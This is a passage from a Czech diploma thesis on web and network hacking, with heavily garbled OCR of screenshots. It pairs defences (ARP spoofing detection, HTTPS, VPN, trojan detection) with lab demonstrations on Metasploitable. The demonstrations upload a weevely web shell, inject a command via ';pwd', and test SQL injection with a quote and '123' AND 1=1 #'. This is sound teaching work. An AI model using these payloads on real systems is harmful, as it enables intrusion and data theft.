utocnik bude moci spustit prikazy Windows. Pokud pouziva Linux, tak ito¢nik bude
moci pouzit piikazy Linux. (Sabih, 2018) (Najera-Gutierez, 2018)

Lokélni file inclusion zranitelnost umoziuje ttocnikovi precist jakykoli soubor na
témze serveru. Tato zranitelnost je kriticka, protoze uzivatelé miizou uklddat néjaka
dulezita data nebo soubory s hesly, poté je hacker bude moci pfecist. (Sabih, 2018)
Vzdalena file inclusion zranitelnost je specialni pripad inclusion zranitelnosti. Tato
zranitelnost se vyskytuje, pokud server umoznuje jisté funkce allow URL a
allow url fopen. Poté bude tto¢nik schopen zahrnout, kterykoli soubor z kterékoliv
pocitac k serveru. (Sabih, 2018) (Diogenes, 2019)

3.9.4.3 SQL Injections

Vétsina webovych stranek pouzivd databéze. Interakce mezi webovou aplikaci je
realizovana skrz jazyk SQL. (Sabih, 2018) (Diogenes, 2019)

SQL injections jsou velmi nebezpecné. Diivod proto je, ze je mozné je najit téméer
vSude, na mnoha mistech, na mnoha velkych strankach. Je tézké se proti nim
chranit. A je velmi snadné udélat chybu a udélat je dostupnymi ke zneuziti. Dalsim
divodem, pro¢ jsou nebezpeéné je, Ze poskytnou tutoc¢nikovi pristup k databazi.
Hacker nemusi nahravat zadny software na sever, nebo navazovat zpétné pf¥ipojeni.
Pokud uto¢nik mé pristup k databéazi, méa vcelku vSe, co potiebuje. Naptiklad
pristup k uzivatelskym jméntim a heslum. (Sabih, 2018) (Diogenes, 2019)

3.9.4.4 Cross site scripting (XSS)

Cross site scripting umoznuje utoc¢nikovi injektovat Javascript kod do webové
stranky. Javascript je client-side programovaci jazyk. To znamené, ze v pripadé, Ze
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se na strance nachézi, bude spustén u uzivatele, ktery si prohlizi webovou stranku.
(Sabih, 2018) (Diogenes, 2019)

Jsou 3 zékladni XSS zranitelnosti, stored, reflected a zalozené na DOM. Stored XSS
je ulozena na webové strance. To znamené pokazdé, kdyz si uzivatel prohlizi stranku,
tuto¢nikiv kod bude spustén. Reflected XSS bude spusténa, jen pokud uzivatel klikne
na upravenou URL adresu. Zalozena na DOM bude spusténa na klientové strané bez
jakékoliv komunikace se serverem. Tento typ XSS je velmi nebezpecny, nebot
neprobiha zadna validace skrze server. (Sabih, 2018) (Diogenes, 2019)
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4 Vlastni prace

V teoretické ¢asti byly popsany mozné hackerské utoky. V praktické ¢asti budou
proti vSem doporuc¢eny mozné obrany. Déle bude vénovéan zvlastni zretel na website
hacking, kde budou utoky i demonstrovéany.

Demonstrace bude probihat na zranitelném virtualnim stroji. Od vlastni
implementace e-shopu bylo ustoupeno. Nebot cilem programatora nemtuze byt
vytvorit zranitelny e-shop. A zabezpeceny e-shop by neplnil tcel této préce.
Vsechny typy utokt ze skupiny website hacking jsou spole¢né pro jakoukoli webovou
stranku, byl proto pouzit jiz vytvoreny zranitelny stroj, ktery se k tomuto testovani
pouziva.

Popis implementace e-shopu, kvili mandatorni dilezitosti a velkému rozsahu prace
byl pfesunut do ptiloh.

4.1 Ochrana pred utoky

V této kapitole bude popsana ochrana proti napadeni sité. Dale co délat, kdyz uz se
utocnik pripojil, jak ho odhalit v siti. Dale bude popséna, jak je mozné se branit
doruceni zadnich vratek a detekovat trojské koné.

Obrané proti Sirokému spektru ttoku ze skupiny website hacking bude vénovan
prostor pozdéji.

4.1.1 Zabezpeceni sité a Post Connection ttok

Neni vhodné pouzivat WEP protokol. Je tifeba pouzit WPA2 a dodrzet zasady
dostatecné dlouhého a bezpecného hesla. Déle je tfeba se ujistit, zda WPS funkce je
vypnuta.

Pro tucely diplomové prace byl pouzit postup. Pri kterém napadané stoje jsou
virtualni stroje na stejné NAT network. Nebyly pouzity atoky na skuteéné pocitace
pomoci bezdratového adaptéru.

4.1.2 Odhaleni ato¢nika v siti

Jak je pospano v kapitole 3.9.1.2.2, odhalit ito¢nika v siti je mozné dvéma riznymi
zpusoby. Prvnim zpusobem je zjistit, zda nékdo manipulovat s APR tabulkou.
Druhym zptsobem je detekovat podezielé chovani v siti.

Dale kapitola obsahuje prevenci tatokt Man-in-the-Middle, coz jak bude popsano
pozdéji, detekce neni totéz, co prevence.
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4.1.2.1 Detekce obejiti ARP

K ochrané je tieba kontrolovat zmény MAC adres v . ARP tabulce. Existuji nastroje,
ktera toto délaji automaticky. Napiiklad nastroj XArp. Tato aplikace je dostupné,
jak pro Windows, tak pro Linux.

Tento nastroj monitoruje ARP tabulku. Jakmile dojde ke zméné, poskytne uzivateli
notifikaci.

Tento néstroj je vecelku jednoduchy. Nicméné kdyby internetovy obchod vyzival své
zékazniky, aby si tuto aplikaci instalovali k tomu, aby se citili v bezpec¢i, mohl by
nékteré zakazniky odradit od nakupovani na internetu.

4.1.2.2 Detekce podezielych aktivit

Program WireShark mze pomoct s detekcich podezrelych aktivit. Naptiklad kdyz
nékdo skenuje vSechna zafizeni v siti.

Je trfeba jit edit => preferences => protocols => ARP, poté zaskrtnout Detect
ARP request storms.

M The Wireshark Network Analyzer - [m] *
File Edit View Go Capture Analyze Statistics Telephony Wirelesz Tools Help
dm7 @ RE R == 884871
W [4pply & disolay filte Ctrk-f 3 |+
Welcome to Wireshark
Capture
.using this fiker: [0 Fnter & capiure e -] Al interfeces shown =

_______f Local Area Connection*y0

Local Area Conneclion® 8
Local Area Connection® 1

VirtualBox Host-Only Network _h hw
Fthemet 2 _h hs
Local Area Connection® 9

Wi-Fi P P W U
Local Area Conneclion® 2 E— -
Adapter for loopback traffic capture J PR
Ethemnet
@  UsBRcapl

Learn
User's Gulde © Wiki © Questions and Answers *© Mailing Lists
“fou are running Wireshark 3.2.6 (v3.2.6-0-g4f8257fbaccc). You recaive automatic updates.

#  Ready to load or capture Mo Facksts Frofile: Defaul

Obrazek 20: program Wireshark po spustént, zdroj vlastni
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M The Wireshark Netwark Analyzer - [m} w
File | Edit View Go Caplure Analyze Statistics Telephory Wireless Tools Help
Al copy . ®RQ QT
[W[sg & Find Packet.. Ctrl+F B -]+
Find Next Ctri+N
Find Previous Ctrl+B
Mark/Unmark Packet(s) Ctrl+M
Mark All Displayed Ctrl+5Shift+M
Unmark All Displayed Clrl+AltsM Filtar ... = | |all interfaces shown +
Next Mark Ctrl+5hifr=N
Previous Mark Ctrl+5hift+B b
Ignore/Unignore Packet(s) Ctrl+D
Ignare All Displayed Ctrl+Shift+0 bwork A\
Unignare All Displayed Ctrl+Alt+ D i
Set/Unset Time Reference Ctrl+T
V-J.Mw\_.\_»_.-,l
Unset All Time References Ctrl+Al+T
Next Time Reference Ctrl+Alt+N
B ffic capture NN
Previous Time Reference Ctrl+Alt+B o
Time Shift... Clrl+5Shift+T
Packet Comment... Ctrl+Alt+C
Dielete All Packet Comments
Configuration Profiles... Ctrl+Shift=A

Learn
User's Guide - Wiki *© Questions and Answers © Mailing Lists
¥ou are running Wireshark 3.2.6 (v3.2.6-0-g419257(bBece). You receive auteemalic updates.

¥ Ready to load or capture Mo Packets Profile: Default ;
Obrazek 21: Wireshark preferences, zdroj vlastni
M 11e Wireshark Network Analyzer - ] E
File Edit Go  Capture z Te y  Wireless Tools  Help
ANZ® 1 ARE A+esEFLEEQaarn
M| 4poty a disnlay firer .. <Cirk/> =)+
Capture
..usirg this fitar: [ [Fter = capture fitar . - | Al interfaces shawn =
Lecal Area Connection® 10
Local Areal o wireshark - Preferences »
Local Area
VirtualBox Allloyn ARDI ~
— n Address Resolution Protocol
" Allloyn N5 [ Detect ARP recuest
Local Area AP by
Wi-Fi AMOP Nurnber of requests to detect during period |30
Lecal Area AMR Betection period (in s} [100
Adapter fa AMS
Ethermet Peys Detect duplicate P address configuretion
@  UsBPcapl ANCP Reglster network address mapaings
AMNSI BSMAP
AMNSI MAP
AMSI_TCAP
AQDV
ACL
APRS
AR Drone
Armageticn:
ARP/RARP
Artemis
< 3
Learn
\ser's Guide - Wi oK sl || help
¥ou are running Wiras FEHEZETF BB e s L
7 Ready to load o capture o Packets | Profie: Defaut

Obrazek 22: Wireschark protocols, ARP, zdroj vlastni
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A n (0] ® € ] = 4 =

; :-\ A I-.\ =
(ATl = display fiter . <Ctrii= =)+
Welcome to Wireshark
Capture
using this filter: | [Eriter & capture Hiter . =] |4 interfaces shown -+
Local Area Connection® 10
Local Areal o wireshark - Preferences b
Local Area|
VirtualBox
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Adapter fo AMS
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®  USBPeapl ANCE Register network address mappings
AMNSI BSMAP
AMNSI MAP
ANSI_TCAP
AQDV
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APRS
AR Drone
Armagetron:
ARP/RARP
Artemis ¥
< >
Learn
v - v et [ v
You are running WireSaME I ZE (VI 2600 TJ- FOU TECEWE SUtDIatic Upaates.
7 Ready ta lond or capture o Fackets Prafile; Defaut

Obrdzek 23: Wireshark zaSkrtnuti, zdroj vlastni
4.1.2.3 Prevence Man in the Middle atoki

Detekce neni to stejné jako prevence. Jediné, co muize uzivatel pti detekci udélat, je
napiiklad zménit heslo, pokud sit vlastni. Pokud se jedn& o vefejnou sit, muZe se
pripojit na jinou atd.

Predem zminéné detekce nepomahaji proti jinym metodam. Napiiklad proti fake
access point.

Regenim tohoto problému miize byt zaSifrovat prenaSend data. Pokud jsou data
sifrovand, nemusi uzivatele zajimat, zda je nékdo cte.

Naptiklad lze pouzit plugin HTTPS Everywhere (v piekladu HTTPS vsude). Tento
plugin byl velmi populérni pro Firefox. Dnes je uz dostupny pro vétsinu béznych
prohlizecu jako je Chrome a dalsi.

Domovska stranka > Rozsifeni > HTTPS Everywhere

HTTPS Everywhere

Mabizejici web: www.eff.org

v ¥ 4200 | Socialnisité a komunikace = & Uzivatelé: 2 000 000+

Obrazek 24: plugin HTTPS Everywhere pro Chrome, zdroj vlastni
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EVERYWHERE

HTTPS Everywhere si v§imlo pfechodu na stranku bez HTTPS a pokusilo se zaslat
namisto toho HTTPS verzi. Verze s HTTPS je nedostupna. Tato stranka
pravdépodobné HTTPS nepodporuje nebo verzi HTTPS blokuje utocnik. Pokud
chcete zobrazit nedifrovanou verzi této stranky, vypnéte v nastaveni rozsireni
HTTPS Everywhere volbu ,Sifrované pripojeni ke véem servertim, kde je dostupné®.
Méijte prosim na pameéti, Ze vypnutim bude vas prohlize¢ zranitelny vuci sitovym
degradacnim Utokam na strankach, které navstivite.

a HTTPS://

sitfovy degradacni utok

URL: http://pocasi.siliconhill.cz/weather/

Otevirat nezabezpeéené stranky

Oteviit nezabezpeéenou stranku (jen v této relaci)

Obrdzek 25: HT'TPS Everywhere stranka bez HTTPS, zdroj vlastni

Dalsim fesenim je VPN. Tato technologie bude fungovat i pro HT'TP stranky. VPN
ziidi Sifrovany tunel mezi uzivatelovym pocitacem a VPN serverem, ke kterému je
uzivatel pripojen. Toto znemozni tto¢nikovi degradovat stranky na HTTP a dokonce
stranky, které jsou pouze HTTP znemozni hackerovi odpozorovat. V predchozi
metodé vidél dtocnik, alespont domény, na které je pristupovéno, nyni nevidi nic
smysluplného.

Pti vybéru VPN je dobré se vyhnout poskytovatelim zdarma, nebot poskytovat
VPN je velmi drahé, proto kdyz to nékdo poskytuje zdarma, musi mit néjaky jiny
umysl, pro¢ to dava zdarma.

Pro maximalni bezpedi je tfeba pouzit obé tyto metody zaroven.

4.1.3 Obrana proti doruceni zadnich vratek

Jako prvni je tfeba, aby se uzivatel ujistil, Ze neni ve stavu Man-in-the-Middle.
Uzivatel by nemél pouzivat sité, které nezna nebo jim nevéri. Dale pokud uzivatel
pouziva HTTPS, tak zabrani hijacku a vytvofeni faleSného updatu. Pokud uzivatel
stahuje néjaky soubor, Casto také obdrzi signature nebo MD5 checksum. Pokud
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nékdo pozméni soubor, MD5 checksum se také zméni, proto je mozné odhalit, Ze
nékdo se souborem manipuloval a soubor neni identicky s origindlnim souborem,
ktery mél uzivatelem ziskat.

4.1.4 Detekce trojskych konu

Jedna z moznosti, jak odhalit trojského koné, je detailné zkontrolovat ve
vlastnostech souboru, zda se jedné skute¢né o not executable format. Dalsi moznost
je zkusit aplikaci pfejmenovat. Toto ¢asto odhali specialni znaky.

!’7 ‘l"""""c"u"qu X V

Gerwrd  Compatbity Securty Detsés Previous Versons

Typeof e Appicason(iEN]

Descrgtion.  gtrexe pg

Locaton C\Users\JEUser\Downloads

Sae 1.10 MB (1,155,072 bytes)
Sseondesk 110 MB (1.155072 bytes)

Created Today. June 9, 2016, 2 mirutes 890
Modfed Today, June 9, 2016, 2 mretes ago

Accessed Today. June 9, 2016, 2 mirutes ago

Aarbnses [JReadonly []Hdden Advarced

Secusty Thes fle came from ancther [
compnter and mught be blocked 1o
help protect s computer

| Unblock

Obrdzek 20: podezreld aplikace, zdroj (Sabih, 2018)

Windows protected your PC

) - - an 20 a0 : —_— - Frm cba ~n Dan - P
Windows Sy réen prevented an 2d 3pp from Startng. Kunning this app might put

I Run anykway |

Obrazek 27: varovani o spustitelném souboru, zdroj vlastni

Pokud vsak uzivatel ocekava spustitelny soubor, toto mu nepomiize. Dal$i moznost
je se podivat do Resource Monitor pro sledovani otevienych porti. Nazev procesu
ani porty nejsou ¢asto podezielé. Nicméné byva podeziela vzdalena IP adresa. Pokud
je IP adresa webové stranka, zaddnim do prohliZece se na ni uzivatel dostane. Pokud
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je to adresa tuto¢nika, tak to nespusti webovou stranku ani nic jiného a uzivatel
zjisti, ze jde o ttoc¢nika.

Detekovat trojského koné je mozné i automaticky pomoci hybrid analysis.
(https://www.hybrid-analysis.com/) Jedna se o misto(sandbox), kde uzivateluv
soubor bude spustén a analyzovan. Zjisti, zda jsou néjaké porty oteviené, zda
modifikuje registry nebo zda udéla cokoliv jiného podezielého. Nejedna se o

antivirovy program. Trojsky kin miize obejit antivirovy program, ale tento sandbox
spusti program v Fizeném prostfedi a zkousi zjistit, zda program dél4 néco
podezielého a podé o tom uzivateli hlaseni.

4.2 Website hacking — demonstrace

Nejprve byl pouzit piikaz ifconfig ke zjisténi, na jaké adrese se virtualni stroj
Metasploitable nachazi. Zjisténa adresa je 10.0.2.5. VSechny soubory pro webovou
stranku se nachazi ve Slozce var/www.

To access official Ubuntu documentation, please visit:
hhttp:~shelp.ubuntu.con~
o mail.
sfadmin®netasploitable:™5 ifconfig
ethoO Link encap:Ethernet HUWaddr 0B:00:27:f1:e8:19
inet addr:10.0.2.5 Bcast:10.0.2.255 Mask:255.255.255.0
inetb addr: fed0::a00:27ff :fefl1:e819-64 Scope:Link
UP BROADCAST RUNNING MULTICAST HTU:1500 HMetric:1
R¥X packets:Z23 errors:0 dropped:0® overruns:0 frame:0
TX packets=:54 errors:0 dropped:® overruns:0Q carrier:0
collisions:0 txqueuelen:1000
RX byte=s:3537 (3.4 KB) TX byte=s:5808 (5.6 RKE)
Base address:0xd020 Memory:fO0Z200000-f02Z20000

Link encap:Local Loopback

inet addr:127.0.0.1 Hask:255.0.0.0

inetb addr: ::1-/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Hetric:1

R¥X packets:94 errors:0 dropped:0® overruns:0 frame:0
TX packet=:94 errors:0 dropped:® overruns:0Q carrier:0
collisions:0 txqueuelen:0

RX byte=s:19577 (19.1 KB) TX bytes:19577 (19.1 KB)

sfadmin®metasploitable: ™5
Obrazek 28: Metasploitable — prikaz ifconfig, zdroj vlastni
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https://www.hybrid-analysis.com/

o mail.

sfadmin@metasploitable:™$ ifconfig

etho Link encap:Ethernet HUWaddr 08:00:27:f1:e8:19
inet addr:10.0.2.5 Bcast:10.0.2.255 HNask:255.255.255.0
inetb addr: feB80::a00:27ff:fefl:e819-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
R¥ packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packet=:54 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3537 (3.4 KB) TX bytes:5808 (5.6 KB)
Base address:0xd020 Menory:f0Z00000-f0220000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:Z255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 Metric:1

R¥ packets:94 errors:0 dropped:0 overruns:0 frame:0
TX packet=:94 errors:0 dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:O

RX bytes:19577 (19.1 KB) TX bytes:19577 (19.1 KB)

sfadmin@netasploitable:™5 1s svar- uuu

av index.php phpinfo.php test tikiwiki-old
vua mutillidae phpMyAdmin tikiwiki twiki
sfadmin@metasploitable: ™5 _

Obrdzek 29: Metasploitable — ls /var/www, zdroj vlastni

Ptes prohlize¢ Firefox ve virtualni stroji Kali linux bylo pfipojeno na virtualni stroj
(10.0.2.5).

ssecurity Twitter B Zaifs Lineedr [ K2l Docs = Bsploit-DB [ MSFL

- O 0 ] s i

Obrazek 30: Kali linur — wvodni stranka Metasploitable, zdroj vlastni

Prihlagovaci iidaje do DVWA jsou uzivatelské jméno admin a heslo password.
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« [ T & 10,02 50wwaligin
FSecurity 7 PN Ry7Secrity @ iSccutgYouTue [E]7Security FR o sSccurity Taitter @) 7aifs Linkrdr B K Docs s Faploit-DR ] MSFL

-
DVWA

Obrazek 31: Kali linux — prihlasovact stranka DVWA, zdroj vlastni

o b o I ] ] s

Nastaveni DVWA bezpecnosti bylo zménéno na low, aby byl web opravdu zranitelny
a bylo na ném mozné popsat i zadkladni bezpec¢nostni trhliny. Dale je dobré se ujistit

o nastavené bezpecnosti v mutillidae.

[ Came Vulnerable Web & 3%+
« LR 3 T 10
Fmocurity 7 WPMRY SOty 0%

Tt [E]Security PR o sSccurity Twirter [ 7aics|inkrdin [ K Docs s Faplnit-DR ] MSFL

o)

e |  DVWA Security =
neirectizns
Ie,“. Script Security

Sexuity Level = ez low

Flle Inclusion

B4 Inkedon |
AT ———
Upload

prmp— ]

55 nemat

Obrdzek 32: Kali linur — nastaveni DVWA bezpecnosti, zdroj vlastni
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« [} T 10025 muiilli

FRocurity 7 WPMRYSorurty @ rSscaingYouTube [ 7Sncurity PR o sSccuy Tsttor B Taicts linenr [ Kali Dncs w Faplait-DR [f MSFL

Q}ﬁ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled {0 - | try harder) Not Logged In
lUome  Loginegister  ToggbeINnts  Teqqic Sccarlty  KesctD Viewlog  View Capturcd Uaka

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

Latest Verslon | Instaliation

« Latest Version

 Installatian Instructians

+ Usage Instrctions

+ Got rid of thase pesky PHP arrars
+ Change Log

* Notes

Samurai WTF and Backtrack contains all the toals needed or you may build your ovin collection

site
hacked.,..erm...quality-
tested with Samural =
WTF, Backtrack, (e
Firefox, Burp-Suite,
Ll backitracs

4
Metcat, and these //‘

Maogzilla Add-ons Samurai Web Testing Framework

S -

@webpwnized

e
&)
Mutliidae
Channal

Developed by Adria

“lrongeek” Crenshaw
Gl @b

Obrdzek 33: Kali linux — mutollidae ujistént o drovni bezpecnosti, zdroj viastni

4.2.1 File upload zranitelnosti, code execution zranitelnosti

inclusion zranitelnosti

=1 i 1 [ 7ot

a file

Nejprve byl proveden prechod na stranku DVWA. Poté byl proveden proklik v menu

na Upload.

Puaces ™ &) Fircfox ESR =

irerable Wek/ x| +

« <3+

eSecurily

WPH Dy Securily 0 cSecurily YouTube B cSecwity T 90 <Sucurity Twitler [ Zaid's Linkedin B Kali Doce & Cogloit DO [l MSFU
D\WA)

Vulnerability: File Upload

Hama
Inswuctions Choose an Inzgs 1o uskid
seup Brvee. | Mo fie nskectns

Arite Force Uskeed

cnRE More info

e S | Vi ek

Obrdzek 34: Kali linur — DVWA upload, zdroj vliastni

-

(L[ | S

Bylo otestovano nahrani libovolného obrézku. Byl Gispésné nahran a byla zobrazena

umisténi.
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Q) Flrefox ESR ~

VPN By 2Security @ sSecurity YouTube B Security O o Secunty Twitter () Zsifs Linkedn [ Kat Dozs & Doploit DB B MSFU

File Inctusion |
QU Injectinn |
SQU Injecdon @liedy |

X35 ratactnd 1

X589 stored

More info

Vizw Soure | View Hoko

ol Wk 1] 8 G0 ] e cani

Obrdzek 35: Kali Linuz — DVWA qispésné nahrany soubor, zdroj vlastni

Za pomoci adresy umisténi byl obrazek zobrazen. (.. znamena o adresar zpatky)

@ % ¢ no®

« c 0 ©10
sSerily 7 VPNDySewrily @ Tde Bl SecuriylB W Secwity Taster [1Zsids Likede, [ €6 Docs & Dyploit 00 FMSTL

Obrazek 36: Kali Linux — zobrazeni obrdzku, zdroj vlastni

Pomoci nastroje weevely byl vygenerovan soubor shell.py.
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/bin/bash Q® O

erd

Obrdzek 37: Kali linux — ndstroj weevely, zdroj vlastni

Soubor shell.py byl nahran. Nachéazi se na stejné adrese jako puvodni obrazek.

ecurity 7 VPN Ry?Secrity 0 rSecuityVeTube [ TSecurity FR o rSecurity Tadrter @) Faifs @ineedn B ol Docs & Faploit-DR Jj] MSFU
=
DVWA)
\WA)
T Vulnerability: File Upload
Satug | Erow
Bt Ferem [rove
Cammand Exccuion || wof o Shackab T uploeds bl ] pip suiews Tully Auaed
e

File Inclusian
QL Inpecdon
S Injsctinn @l

More info

FEnp——
X585 wimrad

A Baeurity
FHE Inka

Amaut

al ) b P [0 i’ ] )z ot

Obrdzek 38: Kali linuz - uploadnuti shell.php, zdroj vlastni

Objevila se bila obrazovka, kdyby se zde soubor nenachézel, objevilo by se 404.
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Obrdzek 39: Kali linux — zobrazeni shell.php, zdroj vlastni

Pomoci piikazu weevely http://10.0.2.5/dvwa/hackable/uploads/shell.php 123456,
kde 123456 je zvolené heslo k souboru shell.php pti generovani. Takto by tutoc¢nik
zajistil, aby vlozeny skript spustil jen on sam.

[bin/bash (- I I ]

Obrdzek 40: Kali linux — pripojent pies weevely, zdroj vlastni

Prikaz uname -a ovéril, zda je skuteéné operovano na stroji Metasploitable.
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Ibin/bash o0

fbin/bash 91x24
t/shell.php

Obrazek 41: Kali linuz - kontrola pripojent pies weevely, zdroj vlastni

Pro code execution zranitelnost bylo prejito na zélozku Command Execution. Pied
provedenim vyuziti zranitelnosti, byl odzkouSena normaéalni funkce ptikazu ping
zadanim 10.0.2.15.

L [

Smourity o VP Dy 2Securily 0 25

p— Vulnerability: Command Execution
INATaBen] 1 Ping for FREE

Exne Force

caRE
File Incluzlon

=L Inpectinn
QL Injection @lind)
Ugload

A5 bt

pasisnmd | More info

DA Sasurily
FHR Ints

Azaut

Rl e P =1 i G ) oo controd

Obrazek 42: Kali linuz - code execution zranitelnost I, zdroj vlastni

Poté bylo vyuzita moznost oddélovat piikazy pomoci stfedniku v prikazové tfadce.
Do okna pro ping bylo zadadno: 10.0.2.15; pwd. Byl proveden, jak ptikaz ping, tak
prikaz pwd.
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Vulnerability: Command Execution

Ping for FREE
Enicr an I agdress boks

PR

|||||||||

Maore info

BEe s GG R e o
Obrdzek 43: Kali linux - code execution zranitelnost I, zdroj vliastni

4.2.2 Ochrana pred vySe zminénymi ttoky

Mnoho z téchto zranitelnosti existuje kvuli funkcionalité, které poskytuji. File
upload problém umoziuje nahrat uzivateli soubor s jakoukoli pFiponou. Toto by se
nemélo stavat. Uzivatelé by neméli mit moznost nahravat jakékoli soubory, které
chtéji. Pokud tvirce webové stranky ocekéva obrazek, je tfeba aby zkontroloval typ
nahravaného souboru. Kdyz ocekava pisnicku, musi zkontrolovat, zda se jedna o
medialni soubor.

Je mozné kontrolovat pfipony souborti. Nicméné nejedné se o spravny zptsob.
Daleko lepsi je kontrolovat typ souboru, zda je obréazek, ¢i medialni soubor misto
kontroly pfipony, protoze pripona muze byt také obejita.

Code execution zranitelnost umoziovala spustit utoc¢nikovi jakykoli kod na cilovém
pocitaci. Této funkcionality by se tvirci webovych stranek méli vyvarovat. Pokud
je opravdu néco podobného nutné pouzit, tak je tfeba analyzovat vstup predtim, nez
je exekuovan.

Kli¢ové pri ochrané proti file inclusion je predejit vzdalené file inclusion, ktera
umoznovala pripojit soubor kdekoli v siti. Sta¢i zablokovat allow url fopen a
allow url include. Pro lokélni file inclusion je dobré pouzit staticka file inclusion
misto dynamické. To znamené vytvorit pevny seznam soubori, ktery chce tvirce
webové aplikace pouzit pro file inclusion, nikoli je dostavat pres GET nebo POST.

4.3 Demonstrace SQL injections

K nézorné demonstraci nejnebezpeénéjsich zranitelnosti SQL injections bude nejprve
prohlédnuta databéze zranitelného stroje.

Bude demonstrovana SQL injection v metodé POST a bude obejit login skrze tuto
metodu. Poté bude demonstrovana SQL injection v metodé GET.
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Dale bude demonstrovano ¢teni z databédze pomoci SQL  injection. Budou
extrahovana citliva data. A poté bude dokonce zapisovano do databéaze.

4.3.1 Prohlidka databaze

Pomoci ptikazu mysql -u root -h 10.0.2.5 byl ziskan p¥istup k databézi. (Nejedna se
o hacking.) Pfistup je vykonavan v piikazovém fadku na zafizeni Kali linux,
pripojuje se k virtudlnimu stroji Metasploitable.

/binfbash o0

/binfbash 80x24
e li:~# mysgl -u root -h 10.0.2.5
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8@
Server version: 5.0.5la-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c¢' to clear the current input statement.

MySQL [(none)]> |}

Obrdzek 44: Kali linux — pripojent k databdzi I, zdroj vlastni

Po pripojeni do MySQL konzole byl zadan ptikaz show databases;, zobrazily se
dostupné databéze. Prvni databéze se jmenuje information schema, tato databéze
je implicitni databaze, ve které jsou implicitni informace o vSech ostatnich
databézich. Tato se nainstaluje automaticky, jakmile je nainstalovano MySQL. Dalsi
jsou jednotlivé pro kazdou aplikaci. Kazda z téchto databézi obsahuje informace,
které pouziva prislusnd webova aplikace.
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[bin/bash (O ]
/bin/bash 80x24

roo it~#m Ll -u root -h 1@ 5
Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MySQL connection id is 88

Server version: 5.0.51la-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

tab

schema

|
|
|
|
|
|
|
+
rows in set (0.001 sec)

L [(none)]l> i
Obrdzek 45: Kali

linux — pFipojent k databdzi 11, zdroj vlastni

Bylo vstoupeno do databaze aplikace OWASP pomoci pitkazu use owasp10;.

Jbin/bash e e®O

. /bin/bash 80x24
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Database changed
MySQL [owasplO]> [}

Obrdzek 46: Kali linux — pripojend k databdzi 111, zdroj vlastni

Nyni byly zobrazeny tabulky z této databaze. Je k dispozici tabulka accounts pro
¢ty neboli tato tabulka obsahuje informace jako jsou uzivatelské jména, hesla a jiné
informace o uzivatelich. Dalsi tabulka se nazyva blogs table, 1ze predpokladat, ze
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obsahuje vstupy do blogti, coz znamena piispévky a komentafe k nim. Dale databaze
obsahuje tabulky capured data (zaznamenané data) a credit cards, ve ktereé
pravdépodobné budou zaznamy o platebnich kartach. Veskera data webovych
aplikaci se ukladaji do databaze. Kdyby byly v souborech, nebylo by to efektivni.

/binfbash
/bin/bash 80x24

Database changed

MySQL [o\

_]_LI]::- SN

6 rows in set (0.001 sec)

MySQL [o 10]>

Obrdzek 47 Kali linuz — pfipojent k databdzi IV, zdroj vlastni

00

and column names

Pomoci select * from accounts; byla zobrazena tabulku s uzivateli. Takto snadno se
dostane k tabulce jen administrator. P¥i SQL hackovani je snahou dostat pristup
podobny tomuto. Toto je dilezité védét, proto jak blizko hacker doséhl svého cile.
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Jbin/bash Qe 0

TRUE
TRUE
confunk FALS

16 rows in set (0.001 sec)

MySQL [

Obrdzek 48: Kali linux — pripojent k databdzi V, zdroj vlastni

43.2 SQL Injections v metodé POST

V sekci Mutillidae byl nejprve zalozen uzivatel s uzivatelskym jménem dpuzivatel a
s heslem 123. Bylo vyzkouSeno standartni prihlaseni, které probéhlo tspésné.

Nasledné byl vyzkousen hacking do pole uzivatelské jméno bylo standartné zadano
dpuzivatel, do hesla byl zadan znak jednoduché uvozovky (‘). Zobrazila se
databazova chyba. Tato chyba je velmi informativni, tudiz potencialné zneuzitelna

4

uto¢nikem. Dokonce zobrazuje SQL vétu, ve které nastala chyba.

A i R

Twitter B FaicfsLinkedn [ €2 Docs & Fsplott-DE jj MSFL

Error: Failure is always an option and this situation proves it

Line 49
Code

Flla 1 Ir-attempt php
Message : s an error in your SOL syntax; chack the manual th MyEOL seruar wersion far tha right syntax to usa naar ~ at e 1
......... e -

‘Diagnotic Information ERE username='dpusvale

Did you setup/reset the DB?

Warning: Cannet madity header Infarmation - headers al ¥ 5ent by (output started at srartwwwimutilidaeprocess-agin-attempt.php:971 In fvarfwwwmutiflidae/Index.php on Ine 148

- headers al

Warning: Cannot maodity heager Infarm ¥ SENE by (oUUE started at Aanwwwimutiidasprocess-ogin-atempt php:a 7] in variwwwimutilidasindex. php on ine 254

Warning: Cannot modity header Infarmation - headers already sent by (oumut started at Aanwwwimutilidasprocess-ogin-atempt php:a 7] in variwwwimutilidae/index. php on ine 255

Warning: Cannot modify header information - headers already sent by (output started at farwaww!mutilidaeqprocess-ogin-attempt.php:97) in fvarfwwwmutillidae/index.php on ine 256
dﬁ(( Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosad) Hints: Disabled (0 - | try harder) HNot Logged In
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ASP Td L0 »
n: i n *
Name
Q —

Obrazek 49: SQL Injections — metoda POST I, zdroj viastni
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Poté bylo vlozeno do uzivatelské jména znovu spravné uzivatelské jméno a do hesla
bylo vloZzeno: 123" AND 1=1 #. Prihlageni bylo uspé&sné. Bylo pouze vyzkouSeno,
zda se vyskytuje SQL injection. Heslo je v tomto piipadé znamé.

Appicstions ™ Flaces™ &) Firefon ESR T

“ [} T 10025 capiindes

